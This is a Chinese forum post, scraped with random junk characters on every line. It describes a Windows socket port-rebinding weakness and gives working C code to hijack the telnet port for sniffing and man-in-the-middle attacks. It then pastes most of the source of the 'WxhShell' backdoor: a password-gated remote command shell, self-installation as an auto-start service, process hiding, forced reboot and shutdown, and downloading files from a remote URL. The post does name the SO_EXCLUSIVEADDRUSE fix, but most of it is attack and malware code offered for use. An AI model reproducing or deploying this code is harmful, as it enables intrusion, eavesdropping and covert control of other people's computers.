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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: OZ0q6"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oT.g@kf=H  
k_$w+Q  
  saddr.sin_family = AF_INET; "<NQ2Vr]5  
5G= 2=E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); KI#),~n S  
+.5 /4?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T[L  
*cJ GrLC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f0}+8JW5h  
zR">'bM:  
  这意味着什么?意味着可以进行如下的攻击: 9 *Q/3|   
b4i=eI8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^#p S u  
* r$(lf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) StA5h+[m  
$ ^m_M.1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JT,8/o  
\Ua"gS2L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4mPCAA7  
^HQg$}=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rl[&s\[  
}`M[%]MNc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9psD"=/"  
6 O!&!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8E ^yHd4Y  
p'uk V(B  
  #include gVl%:Ra%  
  #include D?;$:D"  
  #include Jah~h44&  
  #include    *h$Z:p-g  
  DWORD WINAPI ClientThread(LPVOID lpParam);   aB+Ux< -  
  int main() PJsiT4<  
  { },e f(  
  WORD wVersionRequested; D~G24k6b3  
  DWORD ret; ?,O{,2}  
  WSADATA wsaData; D*I%=);B_  
  BOOL val; ?(n|ykXwc  
  SOCKADDR_IN saddr; la[xbv   
  SOCKADDR_IN scaddr; [0w @0?[  
  int err; `c ^2  
  SOCKET s; }L3kpw  
  SOCKET sc; N{ @B@]  
  int caddsize; D<]z.33  
  HANDLE mt; -P^ 6b(  
  DWORD tid;   nPD5/xW  
  wVersionRequested = MAKEWORD( 2, 2 ); rB~x]5TH  
  err = WSAStartup( wVersionRequested, &wsaData ); 6$lj$8\  
  if ( err != 0 ) { 8S"vRR  
  printf("error!WSAStartup failed!\n"); :"#EQq]ct  
  return -1; swntz  
  } 5\A[ra  
  saddr.sin_family = AF_INET; {Ug?k<h7|  
   ^ duNEu0*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,nD:W  
@YHB>rNf(7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6V KsX+sd  
  saddr.sin_port = htons(23); Uo#% f+t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MD%_Z/NL  
  { t-)C0<  
  printf("error!socket failed!\n"); l}A8  
  return -1; .;8T*  
  } 9# IKb:9k  
  val = TRUE; al.~[T-O+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 y+hC !-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $WI=a-;_e  
  { DBI[OG9  
  printf("error!setsockopt failed!\n"); `BG{\3>  
  return -1; JBo/<W#|  
  } rhGHR5 g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |[7xTD  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,b%T[s7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 llXyM */  
s_}T -%\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,|,DXw  
  { uW3`gwwlU  
  ret=GetLastError(); 3Sv<Viuo  
  printf("error!bind failed!\n"); &'uFy0d,  
  return -1; Pwn"!pk  
  } 5*l~7R  
  listen(s,2); 0'{0kE[wn  
  while(1) /f@VRME  
  { nw){}g  
  caddsize = sizeof(scaddr); BWamF{\d1a  
  //接受连接请求 O]o `! c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B{^o}:e  
  if(sc!=INVALID_SOCKET) HS =qK  
  { l8/ tR  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2| $  
  if(mt==NULL) mf ^=tZ  
  { B`3RyM"J@  
  printf("Thread Creat Failed!\n"); /ldE (!^n  
  break; dq}60  
  } fOs"\Y4  
  } ?4GI19j  
  CloseHandle(mt); -'*\KA@u  
  } Z6F>SL  
  closesocket(s); r<,W{Va  
  WSACleanup(); =(Y 1y$  
  return 0; n8n(<  
  }   -`x$a&}  
  DWORD WINAPI ClientThread(LPVOID lpParam) [HGGXgN  
  { .]}kOw:(#  
  SOCKET ss = (SOCKET)lpParam; {1,]8!HBJ  
  SOCKET sc; !VUxy  
  unsigned char buf[4096]; AQ:cim `  
  SOCKADDR_IN saddr; $R4[TQY).!  
  long num; He^u+N@B  
  DWORD val; ;$gZ?&  
  DWORD ret; 0vbiq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 u;rK.3o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uKHkC.g  
  saddr.sin_family = AF_INET; GP6-5Y"8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }JyWy_Y  
  saddr.sin_port = htons(23); m&(yx| a4+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `KBgVhS>  
  { OoL#8R  
  printf("error!socket failed!\n"); STmn%&  
  return -1; I%.KFPV  
  } (ds-p[`[m  
  val = 100; *)+1BYMo  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lX$6U| !  
  { 3#o!K  
  ret = GetLastError(); s\A"B#9r  
  return -1; Q|/uL`_ni  
  } 8q*MhH>6I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U9GmkXRix  
  { pcwkO  
  ret = GetLastError(); mVFz[xI  
  return -1; $xqI3UaX  
  } vcTWe$;Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q y"VrR  
  { Sp8Xka~5*#  
  printf("error!socket connect failed!\n"); d1$3~Xl]  
  closesocket(sc); fZ!fwg$  
  closesocket(ss); VU6nu4   
  return -1; ^c",!Lp}{  
  } Mr'P0^^  
  while(1) /Ud<4j-  
  { LnZzY0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qd\5S*Z1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 HPJ\]HV(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )vVt{g  
  num = recv(ss,buf,4096,0); Ln/6]CMl  
  if(num>0) >Hb>wlYR  
  send(sc,buf,num,0); <8#Q5   
  else if(num==0) IH|PdVNtg  
  break; )QS4Z{)U  
  num = recv(sc,buf,4096,0); uJ ;7]  
  if(num>0) 1d)wE4c=Z  
  send(ss,buf,num,0); wO:!B\e  
  else if(num==0) f@U\2r  
  break; C%P)_)- -V  
  } CMI'y(GN  
  closesocket(ss); -=_bXco}  
  closesocket(sc); P{2V@ <}  
  return 0 ; o|#Mq"od  
  } PR rf$& u  
8`Wj 1 ,q  
V?"X0>]0  
========================================================== v"'Co6fw  
`;Qw/xl_N  
下边附上一个代码,,WXhSHELL t<S]YA~N'  
W'2T7ha Es  
========================================================== za{z2# aJ  
Us4J[MW<  
#include "stdafx.h" LB*qL  
.Y B}w  
#include <stdio.h> HsrIw  
#include <string.h> c"qaULY  
#include <windows.h> E+wd9/;  
#include <winsock2.h> f4.k%|]  
#include <winsvc.h> 0].x8{~o  
#include <urlmon.h> (bEX"U-  
1n}q6oa=  
#pragma comment (lib, "Ws2_32.lib") c32IO&W4  
#pragma comment (lib, "urlmon.lib") WXz'H),R  
;M,u,KH)/  
#define MAX_USER   100 // 最大客户端连接数 C? pi8Xg  
#define BUF_SOCK   200 // sock buffer +-_71rJc.  
#define KEY_BUFF   255 // 输入 buffer -"J6 |Y#8  
="E^9!  
#define REBOOT     0   // 重启 3I!xa*u  
#define SHUTDOWN   1   // 关机 mEi+Tj zp  
&' ,A2iG  
#define DEF_PORT   5000 // 监听端口 V=yRE  
gp07I{0~m  
#define REG_LEN     16   // 注册表键长度 v @zpF)|  
#define SVC_LEN     80   // NT服务名长度 "E`;8SZa  
%ux%=@%  
// 从dll定义API ]L0GIVIE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b~F(2[o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xs<~[l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3#fu; ??1.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7P3PQ%:  
b=:$~N@Y  
// wxhshell配置信息 (!F Uu  
struct WSCFG { f tBbO8e  
  int ws_port;         // 监听端口 ]3.Un,F  
  char ws_passstr[REG_LEN]; // 口令 QmQsNcF~z  
  int ws_autoins;       // 安装标记, 1=yes 0=no f8]Qn8  
  char ws_regname[REG_LEN]; // 注册表键名 ]y&w)-0  
  char ws_svcname[REG_LEN]; // 服务名 rMDo5Z2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2+KOUd&jS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <~aQ_l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  _@es9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BcJ]bIbKb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ogN/zIU+VA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cd8ZZ 8L  
Qd~M;L O"i  
}; e">$[IhXtV  
M%=V vE.I  
// default Wxhshell configuration oK3uGPi  
struct WSCFG wscfg={DEF_PORT, % :?_N  
    "xuhuanlingzhe", :uM2cc^  
    1, vCC}IDd  
    "Wxhshell", rEI]{?eoF  
    "Wxhshell", YG2rJY+*  
            "WxhShell Service", L #'N  
    "Wrsky Windows CmdShell Service", `c 3IS5  
    "Please Input Your Password: ", 8o' a  
  1, EJqzh i5  
  "http://www.wrsky.com/wxhshell.exe", r()%s3$q  
  "Wxhshell.exe" |||uTfrJ  
    }; xEK+NKTeV  
 & t b  
// 消息定义模块 y'sy]Q~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J &,N1B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }@IRReQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; At5:X*vD  
char *msg_ws_ext="\n\rExit."; ZLA&<]Ad"$  
char *msg_ws_end="\n\rQuit."; 6;/>asf  
char *msg_ws_boot="\n\rReboot..."; ciKkazx.  
char *msg_ws_poff="\n\rShutdown..."; \Ol3kx|  
char *msg_ws_down="\n\rSave to "; |7IlYy&:  
ibDMhW$n  
char *msg_ws_err="\n\rErr!"; CbK&.a  
char *msg_ws_ok="\n\rOK!"; _=0;5OrK1X  
_!FM^N}|  
char ExeFile[MAX_PATH]; xl5n(~g)p  
int nUser = 0; $YDZtS&h  
HANDLE handles[MAX_USER]; 7mulNq  
int OsIsNt; S@suPkQ<>  
nJ/wtw  
SERVICE_STATUS       serviceStatus; F?j;3@z[A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4m++>q  
^+Ez[S{8  
// 函数声明 ejj|l   
int Install(void); >M.?qs4  
int Uninstall(void); "cerg?ix  
int DownloadFile(char *sURL, SOCKET wsh); j7;v'eA`;7  
int Boot(int flag); 3[Pa~]yS  
void HideProc(void); YxMOr\B  
int GetOsVer(void); ]a% *$TF  
int Wxhshell(SOCKET wsl); T!6H5>zA  
void TalkWithClient(void *cs); 1j*I`xZ  
int CmdShell(SOCKET sock); '[shY  
int StartFromService(void); _E5%Px5>L  
int StartWxhshell(LPSTR lpCmdLine); 2A3;#v  
\Cx) ~bq<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <YbOO{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $)| l#'r  
W(*:8}m,p  
// 数据结构和表定义 e_J_rx  
SERVICE_TABLE_ENTRY DispatchTable[] = 9kPwUAw  
{ oF/5mh__(K  
{wscfg.ws_svcname, NTServiceMain}, 9%\<x  
{NULL, NULL} ]d"4G7mu`l  
}; H[o'j@0  
&]~z-0`$!  
// 自我安装 }G&#pw2  
int Install(void) =YX/]g|9K  
{ {]ZZ]  
  char svExeFile[MAX_PATH]; `n8) o%E9  
  HKEY key; ok5 {c  
  strcpy(svExeFile,ExeFile); Xu#\CYk  
gF% lwq  
// 如果是win9x系统,修改注册表设为自启动 L1u  
if(!OsIsNt) { Auhw(b>}TW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w<_.T#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fys@%PZq  
  RegCloseKey(key); qs6yEuh#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <!:,(V>F(C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8k'UEf`'(  
  RegCloseKey(key); Z,o*M#}  
  return 0; woZ'T  
    } E0=-6j  
  } 'MKkC(]4  
} Ty%4#9``0  
else { (]0$^!YK  
R!xs;|]  
// 如果是NT以上系统,安装为系统服务 )!MeSWGq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '<f4POy!  
if (schSCManager!=0)  TyMR m  
{ ?8Cxt|o>  
  SC_HANDLE schService = CreateService )rD] y2^<  
  ( !@-j!Ub  
  schSCManager, oaI7j=Gp  
  wscfg.ws_svcname, NFGC.<  
  wscfg.ws_svcdisp, N s9cx  
  SERVICE_ALL_ACCESS, !U#kUj:4I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `"[VkQFB/  
  SERVICE_AUTO_START, aPB %6c=  
  SERVICE_ERROR_NORMAL, o_U=]mEDY  
  svExeFile, 9;Ezm<VQ  
  NULL, 'DF3|A],  
  NULL, !-r@_tn|  
  NULL, s)yEVh  
  NULL, +3vK=d_Va  
  NULL :c,\8n  
  ); Rs)tf|`/  
  if (schService!=0) xZFha=#  
  { AW6]S*rh  
  CloseServiceHandle(schService); v:CYf_  
  CloseServiceHandle(schSCManager); '#t"^E2$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cl2@p@av  
  strcat(svExeFile,wscfg.ws_svcname); 6+IOJtj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O:q}<ljp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GZQ)Tz R  
  RegCloseKey(key); J),7ukLu^  
  return 0; c[<lr  
    } [w~teX0!  
  } N;D (_:^  
  CloseServiceHandle(schSCManager); OM]p"Jd  
} {AIP\  
} <(d ^2-0  
1*?IDYB  
return 1; N!;Y;<Ro_  
} E?z 3&C  
HeGGAjc  
// 自我卸载 xN2M| E]  
int Uninstall(void) -9-%_=6  
{ ZcX%:ebKS  
  HKEY key; $$ {ebt  
%kNkDI  
if(!OsIsNt) { *%ZfE,bu8<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gyy:.]>&  
  RegDeleteValue(key,wscfg.ws_regname); 8NeP7.U<w  
  RegCloseKey(key); 65ijzZL;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2DTH|Yv  
  RegDeleteValue(key,wscfg.ws_regname); yt  C{,g>  
  RegCloseKey(key); bEbO){Fe  
  return 0; @Sub.z&T{  
  } ]*juF[r(  
} 4_PMl6qo  
} 6,_CL M  
else { e kI1j%fO  
`]WU=Ss  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wias ]u|  
if (schSCManager!=0) Pc? d@tm  
{ |kV,B_qz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (h/v"dV;  
  if (schService!=0) e@k ti@ZJ  
  { -sO EL{  
  if(DeleteService(schService)!=0) { ]9zc[_ !  
  CloseServiceHandle(schService); a>sUq["  
  CloseServiceHandle(schSCManager); `Lm ArW:  
  return 0; I=f1kr pR  
  } C_O 7  
  CloseServiceHandle(schService); Ca+d ?IS  
  } ,Q(n(m'  
  CloseServiceHandle(schSCManager); bLu6|YB  
} JS&l h  
} S?hM  
R9S7p)B  
return 1; XpOsnvW  
}  +aP %H  
"5XD+qi  
// 从指定url下载文件 :+]6SC0ql  
int DownloadFile(char *sURL, SOCKET wsh) I$qL=  
{ a<!g*UVL0M  
  HRESULT hr; sF_.9G)S0  
char seps[]= "/"; "TtK!>!.  
char *token; a+\ Gz  
char *file; ~<v`&Gm?"  
char myURL[MAX_PATH]; M%&`&{  
char myFILE[MAX_PATH]; }kL% l  
q7 Uu 8JXF  
strcpy(myURL,sURL); 6gakopZO  
  token=strtok(myURL,seps); 'y-IE#!5  
  while(token!=NULL) H W.S~eLw*  
  { qK|r+}g|&  
    file=token; c)@M7UK[  
  token=strtok(NULL,seps); 4CX*  
  } [p4a\Qg0  
s}|IRDpp  
GetCurrentDirectory(MAX_PATH,myFILE); *i5&x/ds  
strcat(myFILE, "\\"); P|HY=RM a  
strcat(myFILE, file); 7jts;H=  
  send(wsh,myFILE,strlen(myFILE),0); 22tY%Y9  
send(wsh,"...",3,0); Duptles  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vU{ZB^+&6o  
  if(hr==S_OK) 2Y  6/,W  
return 0; v~uwQ&AH  
else JEJ] '3  
return 1; !S(jT?'w  
Bu!Gy8\  
} CoJaVLl  
\,p)  
// 系统电源模块 +qsdA#2  
int Boot(int flag) uT;Qo{G^  
{ L>@0Nne7  
  HANDLE hToken; lzS"NHs<g(  
  TOKEN_PRIVILEGES tkp; kf"cd 1  
Vx* =  
  if(OsIsNt) { cO(|>&tJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J=4S\0Z*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f+<-Jc  
    tkp.PrivilegeCount = 1; y"@~5e477$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I|WBT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]BAF  
if(flag==REBOOT) { & NOKrN~HX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _Seiwk &  
  return 0; P7u5Ykc*  
} ?r'b Z~  
else { : ] Y=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lZn <v'y  
  return 0; qY14LdC}~  
} {R1jysG tD  
  } Z8'uZ#=Yw  
  else { m"U\;Mw?  
if(flag==REBOOT) { S'3l<sY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |:H[Y"$1;  
  return 0; T w"^I*B  
} *"9b?`E  
else { %gw0^^A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t~U:{g~  
  return 0; NO* 1km[#  
} >xP $A{  
} Y;#P"-yH  
h+Dg"j<[  
return 1; II~D66 bF  
} sF|<m)Kt{W  
zhN'@Wj'_  
// win9x进程隐藏模块 Iupk+x>  
void HideProc(void) yRvq3>mU  
{ OSkZW  
(#Y2H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R_@yj]%H=  
  if ( hKernel != NULL ) /5yW vra  
  { M5%u>$2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M6 0(yTm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :_Ng`b/  
    FreeLibrary(hKernel); 7sLs+ |<"  
  } !*pK#  
o"UqI  
return; p( Qm\g<  
} )}u.b-Nt.  
+(|T\%$DT  
// 获取操作系统版本 nH T2M{R  
int GetOsVer(void) vkBngsS  
{ G3?8GTH  
  OSVERSIONINFO winfo; &+*jTE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '>`bp25>  
  GetVersionEx(&winfo); 5jYRIvM[Q~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t5eux&C  
  return 1; IOIGLtB  
  else ;TaT=%  
  return 0; %?RX}37K  
} Q*KEODR8\  
VK ?,8Y  
// 客户端句柄模块 Uyi_B.:`  
int Wxhshell(SOCKET wsl) =cRJtn  
{ tb@/E  
  SOCKET wsh; \>I&UFfH)4  
  struct sockaddr_in client; fMLm_5(H  
  DWORD myID; Yq;S%.  
{kZhje^$vi  
  while(nUser<MAX_USER) i[jAAr$  
{ V (X)Qu@R  
  int nSize=sizeof(client); EW]gG@w]5r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J@yy2AZnO  
  if(wsh==INVALID_SOCKET) return 1; Q) FL|   
g7d)YUc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $>#PhOC  
if(handles[nUser]==0) ^QFjBQ-Hai  
  closesocket(wsh); t3bDi/m  
else YQYN.\  
  nUser++; "=/XIM.  
  } 7i/?+|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (mza&WF7  
J-I7K !B  
  return 0; ;J?!D x  
} Lb/a _8<E?  
uO BpMAJ  
// 关闭 socket yil{RfBEr_  
void CloseIt(SOCKET wsh) i>e75`9  
{ |dXS+R1  
closesocket(wsh); .GS|H d  
nUser--; d~[ >%&  
ExitThread(0); =ohdL_6  
} Em _miU  
'VF9j\a  
// 客户端请求句柄 \8F$85g  
void TalkWithClient(void *cs) qtgj"4,:`  
{ LW,!B.`@  
m'429E]\S  
  SOCKET wsh=(SOCKET)cs; k,q` ^E8k  
  char pwd[SVC_LEN]; O gycP4z[  
  char cmd[KEY_BUFF]; ~8|$KD4I  
char chr[1]; ][qZOIk@  
int i,j; &|9?B!,`  
1` 9/[2z  
  while (nUser < MAX_USER) { rVf`wJ6b  
$1UN?(r  
if(wscfg.ws_passstr) { w1s#8:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 78NAcP~6c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "w_(p|cm=  
  //ZeroMemory(pwd,KEY_BUFF); TJO|{Lxm  
      i=0; Gzm[4|nO^  
  while(i<SVC_LEN) { v_G4:tY  
d5WE^H)E.  
  // 设置超时 I#9K/[  
  fd_set FdRead; r{Fu|aoa;5  
  struct timeval TimeOut; 6|9];)  
  FD_ZERO(&FdRead); iOD9lR`s  
  FD_SET(wsh,&FdRead); )fCl<KG*  
  TimeOut.tv_sec=8; Kk??}  
  TimeOut.tv_usec=0; b!UT<:o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {`1zVTp[<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Dcp,9"yt%  
0jg-]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A)VOv`U@2  
  pwd=chr[0]; oM< &4F  
  if(chr[0]==0xd || chr[0]==0xa) { ~[,E i k  
  pwd=0; Ie+z"&0  
  break; {~d4;ht1Y  
  } bg 7b!t1F  
  i++; g[Yok` e[  
    } geT<vh Z6  
UB(8N7_/  
  // 如果是非法用户,关闭 socket r4_ c~\jH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~%GUc ~  
} 5a_K|(~3I  
_39b8s {  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1M<'^(t3d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @Yt[%tOF+  
9^jO^[>  
while(1) { 0 J ANj  
'RG`DzuF  
  ZeroMemory(cmd,KEY_BUFF); *Jp>)>  
XFM6.ye  
      // 自动支持客户端 telnet标准   t,RR\S  
  j=0; QMkLAZ  
  while(j<KEY_BUFF) { mWka!lT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mk[=3!J  
  cmd[j]=chr[0]; O0~[]3Y[=  
  if(chr[0]==0xa || chr[0]==0xd) { =I*"vwc?  
  cmd[j]=0; s<^UAdLnl  
  break; 7] ~'8  
  } B%r)~?6DM  
  j++; R':a,6 O  
    } )~!Gs/w6  
<hS >L1ZSr  
  // 下载文件 9BHl 2<&V  
  if(strstr(cmd,"http://")) { 3 vE;s"/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m~X:KwK4  
  if(DownloadFile(cmd,wsh)) WXGLo;+>I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `)SkA?yKI  
  else k deJB-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 33 N5>}  
  } TNiF l hq  
  else { F1 MPo;e  
,!Ah+x  
    switch(cmd[0]) { ?K}/b[[0v  
  f$/Daq <M  
  // 帮助 hX[hR  
  case '?': { ]l&_Pv!!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jQ`cfE$sV  
    break; gKBcD\F  
  } QvqX3FU  
  // 安装 v`no dI  
  case 'i': { iiO4.@nT  
    if(Install()) ;l~gA|A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w'cZ\<N[  
    else r)h+pga5^E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zJtYy4jI)  
    break; -LQ%)'J ZN  
    } 'fZHtnmc0  
  // 卸载 {AQ3y,sh  
  case 'r': { 1uS _]59=  
    if(Uninstall()) :@kSDy+*Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XB^z' P{-Y  
    else -S9$C*t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xNl_Q8Z?R^  
    break; UJlKw `4  
    } 5a4;d+  
  // 显示 wxhshell 所在路径 et)A$'Q  
  case 'p': { C;STJrew  
    char svExeFile[MAX_PATH]; `) K1[&  
    strcpy(svExeFile,"\n\r"); LVO`+:  
      strcat(svExeFile,ExeFile); -w^E~J0*L  
        send(wsh,svExeFile,strlen(svExeFile),0); l"O=xt`m{  
    break; ~hz]x^:  
    } .}]5y4UQ.  
  // 重启 iv3NmkP1  
  case 'b': { p6I@o7f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [ tm J6^s  
    if(Boot(REBOOT)) u'P@3'P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +FyG{1?<  
    else { .pG_j]  
    closesocket(wsh); 2sWM(SN  
    ExitThread(0); 7pr@aA"vgj  
    } * 496"kU  
    break; $40tAes9  
    } kg9ZSkJr  
  // 关机 q[**i[+%  
  case 'd': { XCQ =`3f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LLV:E{`p  
    if(Boot(SHUTDOWN)) <C]s\ "o-`  
